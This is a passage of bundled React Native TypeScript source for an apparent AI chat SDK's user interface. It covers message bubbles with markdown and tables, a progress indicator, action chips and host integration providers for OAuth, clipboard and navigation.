prefill={prefill}\n placeholder={placeholder}\n />\n {withLightbox && <Lightbox />}\n {/* Built-in widget presenter: chips without a host navigator and\n agent-driven focus-plugin events open widgets here — zero wiring. */}\n <WidgetHost />\n </KeyboardAvoidingView>\n );\n}\n\nconst styles = StyleSheet.create({\n root: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n list: {\n flex: 1,\n },\n listContent: {\n paddingVertical: 12,\n },\n});\n","import { useState, useCallback } from 'react';\nimport { View, Text, Pressable, StyleSheet, Image, Platform } from 'react-native';\nimport Markdown from 'react-native-markdown-display';\nimport type { Message, ToolCall } from '@ateam-ai-mobile/core';\nimport { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig, ada, borderRadius, fontSize } from '@ateam-ai-mobile/core';\nimport { AdaOrb, getHaptics } from '@ateam-ai-mobile/plugin-runtime';\nimport JobProgressBar from './JobProgressBar';\nimport UIActionsRow from './UIActionsRow';\nimport QuestionChips from './QuestionChips';\nimport TableCardBlock from './TableCardBlock';\nimport { useLightboxStore } from '../stores/lightboxStore';\nimport { getClipboard } from '../providers';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\ninterface Props {\n message: Message;\n}\n\nfunction formatTime(date: Date): string {\n const h = date.getHours();\n const m = date.getMinutes().toString().padStart(2, '0');\n return `${h}:${m}`;\n}\n\nexport function DaySeparator({ date }: { date: Date }) {\n const today = new Date();\n const yesterday = new Date(today);\n yesterday.setDate(yesterday.getDate() - 1);\n\n let label: string;\n if (isSameDay(date, today)) {\n label = 'Today';\n } else if (isSameDay(date, yesterday)) {\n label = 'Yesterday';\n } else {\n label = date.toLocaleDateString(undefined, { weekday: 'long', month: 'short', day: 'numeric' });\n }\n\n return (\n <View style={separatorStyles.container}>\n <View style={separatorStyles.pill}>\n <Text style={separatorStyles.text}>{label}</Text>\n </View>\n </View>\n );\n}\n\nfunction isSameDay(a: Date, b: Date): boolean {\n return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();\n}\n\nconst separatorStyles = StyleSheet.create({\n container: {\n alignItems: 'center',\n marginVertical: 14,\n },\n pill: {\n backgroundColor: ada.paperSoft,\n paddingHorizontal: 14,\n paddingVertical: 5,\n borderRadius: 999,\n },\n text: {\n fontSize: 12,\n fontWeight: '600',\n color: ada.inkMuted,\n letterSpacing: 0.4,\n fontFamily: fontFam,\n },\n});\n\nexport default function MessageBubble({ message }: Props) {\n const isUser = message.role === 'user';\n const isSystem = message.role === 'system';\n const isNotification = !isUser && message.kind === 'notification';\n // A \"working on it\" placeholder — just the live chain indicator, no real\n // answer yet. Render it near-transparent so it floats over the background\n // instead of looking like a solid message bubble.\n const st = message.jobProgress?.status;\n // A turn that asked a question with choices (sys.askUser). We take the clean\n // question string from here and render its options as chips — never the raw\n // JSON payload. Not a \"pending\" mode: answering just sends a normal message.\n const pq = !isUser ? message.jobProgress?.pendingQuestion : undefined;\n const isProgressOnly =\n !isUser &&\n (st === 'running' || st === 'paused') &&\n (!message.content?.trim() || message.content === 'Working on it...');\n const [copied, setCopied] = useState('');\n\n const showCopied = useCallback((label: string) => {\n setCopied(label);\n getHaptics()?.notification('success');\n setTimeout(() => setCopied(''), 1500);\n }, []);\n\n const copyText = useCallback(async (text: string) => {\n const clipboard = getClipboard();\n if (!clipboard) return; // no provider — silently skip (no false \"Copied!\")\n await clipboard.setString(text);\n showCopied('Copied!');\n }, [showCopied]);\n\n const handleLongPress = useCallback(() => {\n copyText(message.content);\n }, [message.content, copyText]);\n\n return (\n <View style={[styles.row, isUser && styles.rowUser]}>\n {!isUser && !isNotification && (\n <View style={styles.avatarOrb}>\n <AdaOrb\n size={28}\n state={message.jobProgress?.status === 'running' ? 'thinking' : 'idle'}\n />\n </View>\n )}\n {isNotification && <View style={styles.notificationLeftStripe} />}\n <Pressable\n accessibilityRole=\"text\"\n accessibilityLabel={`${isUser ? 'You' : isNotification ? 'Notification' : 'Ada'}: ${message.content}`}\n accessibilityHint=\"Long-press to copy\"\n onLongPress={handleLongPress}\n style={[\n styles.bubble,\n isUser && styles.bubbleUser,\n isSystem && styles.bubbleSystem,\n isNotification && styles.bubbleNotification,\n isProgressOnly && styles.bubbleProgress,\n ]}\n >\n {isNotification && (\n <View style={styles.notificationHeader}>\n <Text style={styles.notificationHeaderIcon}>🔔</Text>\n <Text style={styles.notificationHeaderText}>Notification</Text>\n </View>\n )}\n {/* Attachment thumbnails */}\n {message.attachments && message.attachments.length > 0 && (\n <View style={styles.attachments}>\n {message.attachments.map((att, i) => (\n att.previewUri ? (\n <Pressable\n key={i}\n accessibilityRole=\"imagebutton\"\n accessibilityLabel={`Photo${att.name ? `: ${att.name}` : ''}. Tap to enlarge.`}\n onPress={() => useLightboxStore.getState().show(att.previewUri!)}\n >\n <Image\n source={{\n uri: att.previewUri,\n ...(att.previewUri.startsWith('http') ? {\n headers: { Authorization: `Bearer ${getConfig().tokenProvider.getToken()}` },\n } : {}),\n }}\n style={styles.attachmentImage}\n resizeMode=\"cover\"\n onError={(e) => console.warn('[Image] Failed to load:', att.previewUri?.slice(0, 100), e.nativeEvent.error)}\n />\n </Pressable>\n ) : (\n <View key={i} style={styles.attachmentFile}>\n <Text style={styles.attachmentFileName} numberOfLines={1}>{att.name}</Text>\n </View>\n )\n ))}\n </View>\n )}\n {isUser ? (\n // Hide the \"See attachment\" placeholder when the bubble already shows the photo.\n message.content && !(message.content === 'See attachment' && message.attachments?.length) ? (\n <Text selectable style={styles.userText}>{message.content}</Text>\n ) : null\n ) : isProgressOnly ? (\n // No \"Working on it…\" text — the indicator below is the whole message.\n null\n ) : (\n // When the turn asked a question, show its clean question string —\n // never message.content, which may carry the raw JSON payload.\n renderAssistantContent(pq?.question || message.content, copyText)\n )}\n {!!copied && (\n <View style={styles.copiedBadge}>\n <Text style={styles.copiedText}>{copied}</Text>\n </View>\n )}\n {message.toolCalls && message.toolCalls.length > 0 && (\n <ToolCallsBadge calls={message.toolCalls} />\n )}\n {message.jobProgress && (\n <JobProgressBar progress={message.jobProgress} standalone={isProgressOnly} />\n )}\n {!isUser && message.actions && message.actions.length > 0 && (\n <UIActionsRow actions={message.actions} />\n )}\n {pq && (\n // Per-chain: this bubble's OWN chain has a pending question. Parallel\n // pending chains each render their own chips (jobProgress is per\n // bubble); answered questions have no jobProgress → no chips.\n <QuestionChips inputType={pq.inputType} options={pq.options} />\n )}\n {!isProgressOnly && (\n <Text style={[styles.timeText, isUser && styles.timeTextUser]}>\n {formatTime(message.timestamp)}\n </Text>\n )}\n </Pressable>\n {isUser && <View style={styles.avatarSpacer} />}\n </View>\n );\n}\n\n/**\n * Split assistant content on table-block sentinels and render each segment:\n * markdown text → <Markdown>, table payload → <TableCardBlock>. Falls back\n * to plain markdown when no sentinels are present (the common case).\n */\nfunction renderAssistantContent(content: string, copyText: (s: string) => void) {\n if (!content) return null;\n if (!content.includes(TABLE_BLOCK_OPEN)) {\n return <MarkdownBubble content={content} copyText={copyText} />;\n }\n\n const segments: Array<{ kind: 'md' | 'table'; content: string }> = [];\n let cursor = 0;\n while (cursor < content.length) {\n const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);\n if (open === -1) {\n segments.push({ kind: 'md', content: content.slice(cursor) });\n break;\n }\n if (open > cursor) {\n segments.push({ kind: 'md', content: content.slice(cursor, open) });\n }\n const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);\n if (close === -1) {\n // Unterminated marker — render the rest as markdown so we don't lose data.\n segments.push({ kind: 'md', content: content.slice(open) });\n break;\n }\n const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);\n segments.push({ kind: 'table', content: payload });\n cursor = close + TABLE_BLOCK_CLOSE.length;\n }\n\n return (\n <>\n {segments.map((seg, i) => {\n if (seg.kind === 'md') {\n const trimmed = seg.content.trim();\n if (!trimmed) return null;\n return <MarkdownBubble key={i} content={seg.content} copyText={copyText} />;\n }\n try {\n const data = JSON.parse(decodeURIComponent(seg.content));\n return <TableCardBlock key={i} columns={data.columns} rows={data.rows} />;\n } catch {\n return null;\n }\n })}\n </>\n );\n}\n\nfunction MarkdownBubble({ content, copyText }: { content: string; copyText: (s: string) => void }) {\n return (\n <Markdown\n style={markdownStyles}\n rules={{\n code_inline: (node) => (\n <Text\n key={node.key}\n style={markdownStyles.code_inline}\n onPress={() => copyText(node.content)}\n >\n {node.content}\n </Text>\n ),\n fence: (node) => (\n <Pressable\n key={node.key}\n onPress={() => copyText(node.content)}\n style={markdownStyles.fence}\n >\n <Text style={markdownStyles.fenceText}>{node.content}</Text>\n </Pressable>\n ),\n }}\n >\n {content}\n </Markdown>\n );\n}\n\nfunction ToolCallsBadge({ calls }: { calls: ToolCall[] }) {\n const [expanded, setExpanded] = useState(false);\n const label = calls\n .filter(c => c.name === 'send_message_to_skill')\n .map(c => (c.args as any).skill_name || c.skill)\n .filter(Boolean)\n .join(', ') || 'Tool call';\n\n return (\n <View style={styles.toolCalls}>\n <Pressable style={styles.toolToggle} onPress={() => setExpanded(!expanded)}>\n <Text style={styles.toolLabel}>{label}</Text>\n <Text style={styles.toolChevron}>{expanded ? '▲' : '▼'}</Text>\n </Pressable>\n {expanded && calls.map((tc, i) => (\n <View key={i} style={styles.toolItem}>\n <Text style={styles.toolName}>{tc.name}</Text>\n {tc.skill && <Text style={styles.toolSkill}>{tc.skill}</Text>}\n </View>\n ))}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n row: {\n flexDirection: 'row',\n alignItems: 'flex-end',\n marginBottom: 12,\n paddingHorizontal: 12,\n gap: 8,\n },\n rowUser: {\n justifyContent: 'flex-end',\n },\n avatarOrb: {\n width: 28,\n height: 28,\n justifyContent: 'center',\n alignItems: 'center',\n },\n avatarSpacer: {\n width: 28,\n height: 28,\n },\n bubble: {\n maxWidth: '78%',\n backgroundColor: ada.botBubble,\n borderWidth: 1,\n borderColor: ada.botBubbleBorder,\n borderRadius: borderRadius.xl,\n paddingHorizontal: 16,\n paddingVertical: 12,\n },\n bubbleUser: {\n backgroundColor: ada.userBubble,\n borderColor: 'transparent',\n },\n // Live-chain placeholder: no fill, no border, tighter padding — the\n // indicator floats over the background instead of sitting in a bubble.\n bubbleProgress: {\n backgroundColor: 'transparent',\n borderColor: 'transparent',\n paddingHorizontal: 4,\n paddingVertical: 2,\n },\n bubbleSystem: {\n backgroundColor: ada.orangeSoft,\n borderColor: ada.orange,\n maxWidth: '90%',\n },\n bubbleNotification: {\n backgroundColor: ada.orangeSoft,\n borderColor: 'rgba(255, 122, 40, 0.35)',\n borderRadius: borderRadius.lg,\n maxWidth: '90%',\n },\n notificationLeftStripe: {\n width: 3,\n alignSelf: 'stretch',\n backgroundColor: ada.orange,\n borderRadius: 2,\n marginRight: 4,\n },\n notificationHeader: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 6,\n marginBottom: 6,\n },\n notificationHeaderIcon: {\n fontSize: 12,\n },\n notificationHeaderText: {\n color: ada.orangeDeep,\n fontSize: 11,\n fontWeight: '700',\n letterSpacing: 0.6,\n textTransform: 'uppercase',\n fontFamily: fontFam,\n },\n userText: {\n color: ada.userBubbleText,\n fontSize: fontSize.md,\n lineHeight: 22,\n fontFamily: fontFam,\n },\n timeText: {\n fontSize: 11,\n color: ada.inkMuted,\n alignSelf: 'flex-end',\n marginTop: 4,\n fontFamily: fontFam,\n },\n timeTextUser: {\n color: 'rgba(250,246,238,0.55)',\n },\n attachments: {\n flexDirection: 'row',\n flexWrap: 'wrap',\n gap: 6,\n marginBottom: 8,\n },\n attachmentImage: {\n width: 120,\n height: 90,\n borderRadius: 8,\n },\n attachmentFile: {\n backgroundColor: 'rgba(255,255,255,0.15)',\n borderRadius: 8,\n paddingHorizontal: 10,\n paddingVertical: 6,\n },\n attachmentFileName: {\n color: 'rgba(255,255,255,0.8)',\n fontSize: 11,\n maxWidth: 100,\n },\n copiedBadge: {\n position: 'absolute',\n top: 6,\n right: 6,\n backgroundColor: '#5A8A5C',\n paddingHorizontal: 8,\n paddingVertical: 2,\n borderRadius: borderRadius.sm,\n },\n copiedText: {\n color: '#fff',\n fontSize: fontSize.xs,\n fontWeight: '600',\n },\n toolCalls: {\n marginTop: 8,\n borderTopWidth: 1,\n borderTopColor: ada.border,\n paddingTop: 6,\n },\n toolToggle: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 6,\n },\n toolLabel: {\n color: ada.inkSoft,\n fontSize: fontSize.xs,\n fontWeight: '500',\n },\n toolChevron: {\n color: ada.inkMuted,\n fontSize: 8,\n },\n toolItem: {\n marginTop: 4,\n paddingLeft: 8,\n },\n toolName: {\n color: ada.inkSoft,\n fontSize: fontSize.xs,\n fontFamily: 'monospace',\n },\n toolSkill: {\n color: ada.orangeDeep,\n fontSize: fontSize.xs,\n },\n});\n\nconst markdownStyles = StyleSheet.create({\n body: {\n color: ada.botBubbleText,\n fontSize: fontSize.md,\n lineHeight: 22,\n fontFamily: fontFam,\n },\n paragraph: {\n marginTop: 0,\n marginBottom: 4,\n },\n strong: {\n fontWeight: '700',\n color: ada.botBubbleText,\n },\n em: {\n fontStyle: 'italic',\n },\n code_inline: {\n backgroundColor: ada.paperDeep,\n color: ada.orangeDeep,\n paddingHorizontal: 5,\n paddingVertical: 1,\n borderRadius: 4,\n fontFamily: 'monospace',\n fontSize: fontSize.sm,\n },\n fence: {\n backgroundColor: ada.paperDeep,\n padding: 10,\n borderRadius: 10,\n },\n fenceText: {\n fontFamily: 'monospace',\n fontSize: fontSize.sm,\n color: ada.ink,\n },\n link: {\n color: ada.orangeDeep,\n },\n list_item: {\n color: ada.botBubbleText,\n },\n bullet_list: {\n marginVertical: 4,\n },\n});\n","import { useEffect, useRef, useState } from 'react';\nimport { View, Text, Animated, StyleSheet } from 'react-native';\nimport type { JobProgress } from '@ateam-ai-mobile/core';\nimport { ada, fontSize } from '@ateam-ai-mobile/core';\n\n// Semantic warm-palette colors for terminal states (kept local — Ada palette\n// is mostly orange/ink, but progress states need a small warm green/red/amber\n// vocabulary to stay readable).\nconst WARM_GREEN = '#5A8A5C';\nconst WARM_GREEN_SOFT = 'rgba(90, 138, 92, 0.14)';\nconst WARM_RED = '#C15545';\nconst WARM_RED_SOFT = 'rgba(193, 85, 69, 0.14)';\nconst WARM_AMBER = '#D49A4E';\nconst WARM_AMBER_SOFT = 'rgba(212, 154, 78, 0.16)';\n\ninterface Props {\n progress: JobProgress;\n /** Standalone placeholder (transparent bubble) — drop the top divider so it\n * floats cleanly over the background. */\n standalone?: boolean;\n}\n\nexport default function JobProgressBar({ progress, standalone }: Props) {\n const pulseAnim = useRef(new Animated.Value(0.5)).current;\n const [elapsed, setElapsed] = useState(0);\n\n const isRunning = progress.status === 'running';\n const isDone = progress.status === 'done';\n const isError = progress.status === 'error';\n const isPaused = progress.status === 'paused';\n\n // Pulse animation while running\n useEffect(() => {\n if (!isRunning) {\n pulseAnim.setValue(1);\n return;\n }\n const anim = Animated.loop(\n Animated.sequence([\n // Gentle breath — a soft fade rather than a hard blink, so the running\n // indicator recedes into the bubble instead of demanding attention.\n Animated.timing(pulseAnim, { toValue: 0.55, duration: 1100, useNativeDriver: true }),\n Animated.timing(pulseAnim, { toValue: 0.22, duration: 1100, useNativeDriver: true }),\n ]),\n );\n anim.start();\n return () => anim.stop();\n }, [isRunning, pulseAnim]);\n\n // Elapsed timer — ticks every second while running, clears on terminal state\n useEffect(() => {\n if (!isRunning || !progress.chainStartedAt) {\n setElapsed(0);\n return;\n }\n const start = progress.chainStartedAt;\n setElapsed(Math.floor((Date.now() - start) / 1000));\n const id = setInterval(() => {\n setElapsed(Math.floor((Date.now() - start) / 1000));\n }, 1000);\n return () => clearInterval(id);\n }, [isRunning, progress.chainStartedAt]);\n\n const statusColor = isDone\n ? WARM_GREEN\n : isError\n ? WARM_RED\n : isPaused\n ? WARM_AMBER\n : ada.orange;\n\n const statusBg = isDone\n ? WARM_GREEN_SOFT\n : isError\n ? WARM_RED_SOFT\n : isPaused\n ? WARM_AMBER_SOFT\n : ada.orangeSoft;\n\n // Terminal states — simple one-liner\n if (isDone || isError) {\n return (\n <View style={[styles.container, standalone && styles.containerStandalone]}>\n <View style={styles.row}>\n <View style={[styles.dot, { backgroundColor: statusColor }]} />\n <Text style={[styles.label, { color: statusColor }]}>\n {isDone ? 'Completed' : 'Failed'}\n </Text>\n </View>\n </View>\n );\n }\n\n if (isPaused) {\n return (\n <View style={[styles.container, standalone && styles.containerStandalone]}>\n <View style={styles.row}>\n <View style={[styles.dot, { backgroundColor: statusColor }]} />\n <Text style={[styles.label, { color: statusColor }]}>\n Waiting for your reply\n </Text>\n </View>\n </View>\n );\n }\n\n // Running. Prefer the backend's warm, localized humanStatus; fall back to\n // the raw skill/tool tokens (translated via humanLabels when available).\n // Elapsed shows in human units: \"3s\", \"1m 20s\". (Docs/STATUS_I18N_MOBILE_API)\n const elapsedStr = progress.chainStartedAt\n ? elapsed < 60\n ? `${elapsed}s`\n : `${Math.floor(elapsed / 60)}m ${elapsed % 60}s`\n : null;\n\n const metaParts = [\n progress.iteration != null && progress.iteration > 0 ? `iter ${progress.iteration}` : null,\n elapsedStr,\n ].filter(Boolean) as string[];\n\n const labels = progress.humanLabels;\n const label = (t?: string) => (t && labels?.[t]) || t;\n const headline = progress.humanStatus || label(progress.skillSlug) || 'Processing...';\n // When we already have a warm headline, don't also show the raw \"→ tool\".\n const showRawTool = !progress.humanStatus && !!progress.currentTool;\n\n const lp = progress.liveProgress;\n\n return (\n <View style={[styles.container, standalone && styles.containerStandalone]}>\n <View style={styles.row}>\n <Animated.View\n style={[styles.dot, styles.dotRunning, { opacity: pulseAnim }]}\n />\n <Text style={styles.skill} numberOfLines={1}>\n {headline}\n </Text>\n {showRawTool && (\n <Text style={styles.tool} numberOfLines={1}>\n {` → ${label(progress.currentTool)}`}\n </Text>\n )}\n {metaParts.length > 0 && (\n <Text style={styles.meta} numberOfLines={1}>\n {` · ${metaParts.join(' · ')}`}\n </Text>\n )}\n </View>\n {/* Live progress from adas_emit_progress() — shown during fat tool execution */}\n {!!lp?.message && (\n <View style={styles.liveProgressRow}>\n {lp.step != null && lp.total != null && (\n <Text style={styles.liveProgressStep}>[{lp.step}/{lp.total}]</Text>\n )}\n <Text style={styles.liveProgressMsg} numberOfLines={1}>{lp.message}</Text>\n </View>\n )}\n <View style={styles.progressTrack}>\n <Animated.View\n style={[styles.progressFill, { opacity: pulseAnim }]}\n />\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: {\n marginTop: 8,\n paddingTop: 8,\n borderTopWidth: 1,\n borderTopColor: ada.border,\n },\n // Standalone (transparent-bubble) placeholder — no divider/top spacing.\n containerStandalone: {\n marginTop: 0,\n paddingTop: 0,\n borderTopWidth: 0,\n },\n row: {\n flexDirection: 'row',\n alignItems: 'center',\n flexWrap: 'nowrap',\n overflow: 'hidden',\n },\n dot: {\n width: 6,\n height: 6,\n borderRadius: 3,\n marginRight: 6,\n flexShrink: 0,\n },\n // Running dot: soft orange, not the full-saturation accent.\n dotRunning: {\n backgroundColor: 'rgba(255, 122, 40, 0.6)',\n },\n label: {\n fontSize: fontSize.xs,\n fontWeight: '600',\n },\n // Running state text segments — muted so the indicator blends into the\n // bubble rather than shouting in orange.\n skill: {\n fontSize: fontSize.xs,\n fontWeight: '500',\n color: ada.inkSoft,\n flexShrink: 1,\n },\n tool: {\n fontSize: fontSize.xs,\n color: ada.inkMuted,\n flexShrink: 2,\n },\n meta: {\n fontSize: fontSize.xs,\n color: ada.inkMuted,\n flexShrink: 0,\n },\n liveProgressRow: {\n flexDirection: 'row',\n alignItems: 'center',\n marginTop: 4,\n gap: 4,\n },\n liveProgressStep: {\n fontSize: fontSize.xs,\n fontWeight: '600',\n color: ada.inkMuted,\n },\n liveProgressMsg: {\n fontSize: fontSize.xs,\n color: ada.inkSoft,\n flex: 1,\n },\n progressTrack: {\n height: 2,\n borderRadius: 1,\n marginTop: 8,\n overflow: 'hidden',\n // Barely-there rail so the bar reads as a hint, not a status meter.\n backgroundColor: 'rgba(26, 20, 16, 0.05)',\n },\n progressFill: {\n height: '100%',\n width: '55%',\n borderRadius: 1,\n // Muted orange — present but recessive.\n backgroundColor: 'rgba(255, 122, 40, 0.4)',\n },\n});\n","// Renders the row of UI Action chips beneath an assistant bubble.\n// Payload comes from `message.actions[]` produced by the polisher and\n// validated by Core's `cp.uiActions_api`.\n//\n// Chips targeting a registered surface mount it directly via the surface\n// store. Everything else goes through the navigator registered with\n// setUIActionNavigator() when the host provided one (no router imports\n// here), or falls back to the built-in WidgetHost presenter — so chips open\n// widgets with zero host wiring.\n\nimport { View, Text, Pressable, StyleSheet, Platform } from 'react-native';\nimport { ada, fontSize } from '@ateam-ai-mobile/core';\nimport type { UIAction } from '@ateam-ai-mobile/core';\nimport { useSurfaceStore, getHaptics } from '@ateam-ai-mobile/plugin-runtime';\nimport { getUIActionNavigator } from '../providers';\nimport { openWidget } from '../plugin/WidgetHost';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nconst ICON_MAP: Record<string, string> = {\n timer: '⏱',\n memory: '🧠',\n calendar: '📅',\n home: '🏠',\n bell: '🔔',\n star: '⭐',\n bolt: '⚡',\n};\n\ninterface Props {\n actions: UIAction[];\n}\n\nexport default function UIActionsRow({ actions }: Props) {\n if (!Array.isArray(actions) || actions.length === 0) return null;\n\n const handlePress = (a: UIAction) => {\n getHaptics()?.selection();\n // Validator returns pluginId as the full id (\"mcp:connector:plugin\" for\n // solution plugins, \"platform:<name>\" for host platform screens). Fall\n // back to target (short id) only for debugging.\n const id = a.pluginId || a.target;\n if (!id) return;\n\n // Compute focus once; both branches use it.\n const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;\n\n // Host-rendered platform surfaces live in the surface store, not in the\n // dynamic plugin registry. Mount the registered drawer/fullscreen\n // directly — skip navigation (which would try getPlugin() and fail).\n const surface = useSurfaceStore.getState().manifests[id];\n if (surface) {\n // Thread the chip's opaque payload (e.g. { skillSlug } for platform:voice)\n // through to the surface as props, alongside focus — same shape the loop /\n // focusUiPlugin path delivers, so chip-tap and loop-open behave identically.\n // GENERIC: we don't interpret payload.data; the surface Component reads\n // what it understands.\n const props = { ...(focus ? { focus } : {}), ...(a.payload?.data || {}) };\n useSurfaceStore.getState().show(id, Object.keys(props).length ? props : undefined);\n return;\n }\n\n // Pass payload fields as params so the plugin can focus the relevant\n // entity on load (e.g. ?focus=rem_abc).\n const params: Record<string, string> = {};\n if (focus) params.focus = String(focus);\n if (a.intent === 'suggested_action' && a.payload?.tool) {\n params.tool = String(a.payload.tool);\n if (a.payload?.args) {\n try { params.args = JSON.stringify(a.payload.args); } catch {}\n }\n }\n if (a.intent === 'quick_toggle' && a.payload?.verb) {\n params.verb = String(a.payload.verb);\n }\n\n const navigate = getUIActionNavigator();\n if (navigate) {\n navigate({ pluginId: id, params });\n return;\n }\n // No host navigator — present via the built-in WidgetHost (mounted by\n // AdasChatScreen). Params ride along as engine props.\n openWidget(id, Object.keys(params).length ? params : undefined);\n };\n\n return (\n <View style={styles.row}>\n {actions.map((a, i) => {\n const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;\n return (\n <Pressable\n key={`${a.target || 'a'}-${i}`}\n accessibilityRole=\"button\"\n accessibilityLabel={a.description || a.label}\n onPress={() => handlePress(a)}\n style={({ pressed }) => [styles.chip, pressed && styles.chipPressed]}\n >\n {icon ? <Text style={styles.icon}>{icon}</Text> : null}\n <Text style={styles.label} numberOfLines={1}>{a.label}</Text>\n </Pressable>\n );\n })}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n row: {\n flexDirection: 'row',\n flexWrap: 'wrap',\n gap: 6,\n marginTop: 10,\n },\n chip: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 6,\n paddingHorizontal: 12,\n paddingVertical: 6,\n backgroundColor: ada.orangeSoft,\n borderColor: ada.orange,\n borderWidth: 1,\n borderRadius: 14,\n },\n chipPressed: {\n backgroundColor: ada.orange,\n },\n icon: {\n fontSize: 12,\n lineHeight: 14,\n },\n label: {\n color: ada.orangeDeep,\n fontSize: fontSize.xs,\n fontWeight: '600',\n fontFamily: fontFam,\n },\n});\n","/**\n * Host integration points for @ateam-ai-mobile/ui — same DI pattern as\n * @ateam-ai-mobile/plugin-runtime's host.ts. Everything has a safe default; the host\n * (or @ateam-ai-mobile/expo) wires real implementations at startup.\n */\nimport type { ReactNode } from 'react';\n\n// ── Native OAuth (Google / Apple id_token acquisition) ──────────────────────\n// The relocated auth screens (LoginScreen / JoinScreen / OpenJoinScreen) render\n// the generic sign-in presentation, but acquiring the provider id_token is a\n// NATIVE step — @react-native-google-signin + expo-apple-authentication — that\n// must never enter this package. The host (via @ateam-ai-mobile/expo) wires a\n// provider once at startup; the screens call getOAuthProvider() internally.\n//\n// This ONE method set replaces the per-screen acquire callbacks. signInWithGoogle\n// takes an optional { webClientId, iosClientId }: LoginScreen passes the tenant's\n// configured client ids; JoinScreen / OpenJoinScreen pass nothing, so the host\n// uses its bundled GOOGLE_IOS_CLIENT_ID. Both return null on a user-cancel\n// (SIGN_IN_CANCELLED / IN_PROGRESS / ERR_REQUEST_CANCELED) and throw on a real\n// failure. The Apple availability probe + the official HIG button come off the\n// same provider so expo-apple-authentication never enters ui/src and no\n// look-alike button is ever drawn.\n\nexport interface OAuthGoogleConfig {\n webClientId?: string;\n iosClientId?: string;\n}\n\nexport interface OAuthProvider {\n /** Acquire a Google OIDC id_token. `cfg` present → tenant client ids; absent → host bundled id. Null on user-cancel. */\n signInWithGoogle(cfg?: OAuthGoogleConfig): Promise<string | null>;\n /** Acquire an Apple id_token. Null on user-cancel. */\n signInWithApple(): Promise<string | null>;\n /** AppleAuthentication.isAvailableAsync() (iOS 13+); resolves false everywhere else. Async so the screen probes in an effect, never renders a stale false. */\n isAppleAvailable(): Promise<boolean>;\n /** The real Apple HIG button as a slot — the screen decides WHEN to show it + supplies its layout `style`, the host supplies the native node + HIG chrome. */\n renderAppleButton(props: { onPress: () => void; disabled: boolean; style?: unknown }): ReactNode;\n}\n\nlet _oauth: OAuthProvider | null = null;\n\n/** Register a native OAuth implementation (e.g. via @ateam-ai-mobile/expo). */\nexport function setOAuthProvider(oauth: OAuthProvider | null): void {\n _oauth = oauth;\n}\n\nexport function getOAuthProvider(): OAuthProvider | null {\n return _oauth;\n}\n\n// ── Call audio mode ────────────────────────────────────────────────────────\n// A voice call needs the device in its CALL audio mode, or the phone's mic\n// hears the loudspeaker and the AI interrupts itself (iOS: playAndRecord +\n// voiceChat). Native, so the host wires it (via @ateam-ai-mobile/expo);\n// voiceSession calls beginCall when a call starts and endCall when it ends.\n\nexport interface CallAudioProvider {\n beginCall(): void;\n endCall(): void;\n}\n\nlet _callAudio: CallAudioProvider | null = null;\n\n/** Register the device's call audio mode (e.g. via @ateam-ai-mobile/expo). */\nexport function setCallAudioProvider(callAudio: CallAudioProvider | null): void {\n _callAudio = callAudio;\n}\n\nexport function getCallAudioProvider(): CallAudioProvider | null {\n return _callAudio;\n}\n\n// ── Clipboard ──────────────────────────────────────────────────────────────\n\nexport interface ClipboardProvider {\n setString(text: string): Promise<void>;\n}\n\nlet _clipboard: ClipboardProvider | null = null;\n\n/** Register a clipboard implementation (e.g. expo-clipboard via @ateam-ai-mobile/expo). */\nexport function setClipboardProvider(clipboard: ClipboardProvider | null): void {\n _clipboard = clipboard;\n}\n\nexport function getClipboard(): ClipboardProvider | null {\n return _clipboard;\n}\n\n// ── UI-action navigation ───────────────────────────────────────────────────\n// Chips with a plugin target need to open the host's plugin screen. The SDK\n// never imports a router — the HOST owns navigation and registers a handler\n// (e.g. Expo Router: router.push({ pathname: '/plugin/[id]', params })).\n\nexport interface UIActionRoute {\n /** Full plugin id, e.g. \"mcp:connector:plugin\" or \"platform:<name>\". */\n pluginId: string;\n /** Query params the plugin reads on load (focus, tool, args, verb). */\n params: Record<string, string>;\n}\n\ntype UIActionNavigator = (route: UIActionRoute) => void;\n\nlet _navigator: UIActionNavigator | null = null;\n\nexport function setUIActionNavigator(navigate: UIActionNavigator | null): void {\n _navigator = navigate;\n}\n\nexport function getUIActionNavigator(): UIActionNavigator | null {\n return _navigator;\n}\n\n// ── Plugin WebView extra allowed hosts ─────────────────────────────────────\n// The plugin WebView allow-list is derived from the SDK config (core + voice\n// URLs). Hosts with additional trusted services plugins navigate to (e.g. a\n// relay) register a getter returning extra URLs; resolved live per check.\n\ntype ExtraHostsGetter = () => string[];\n\nlet _extraHosts: ExtraHostsGetter | null = null;\n\nexport function setPluginWebViewExtraHosts(getter: ExtraHostsGetter | null): void {\n _extraHosts = getter;\n}\n\nexport function getPluginWebViewExtraHosts(): ExtraHostsGetter | null {\n return _extraHosts;\n}\n","/**\n * WidgetHost — zero-config widget presenter.\n *\n * The glue that makes chips and the agent able to open widgets without any\n * host wiring:\n *\n * - `openWidget(pluginId, opts)` — imperative open from anywhere. Surfaces\n * registered in the surface store (host surfaces, platform-declared\n * surfaces) mount through the surface registry; everything else is\n * presented here as a fullscreen PluginSurface (manifest fetched lazily).\n * - Chip taps: UIActionsRow falls back to openWidget() when the host hasn't\n * registered a custom navigator via setUIActionNavigator().\n * - Server/agent proactive open: listens for the chat stream's\n * `focus-plugin` event (sys.focusUiPlugin(pluginId, props) on the engine\n * side) and presents the widget, forwarding the engine props.\n *\n * <AdasChatScreen /> mounts a WidgetHost automatically — drop-in hosts get\n * the full chips→widgets and agent→widgets experience for free. Custom\n * layouts render <WidgetHost /> once near the app root (mounting it twice is\n * safe: both instances read the same store, last-closed 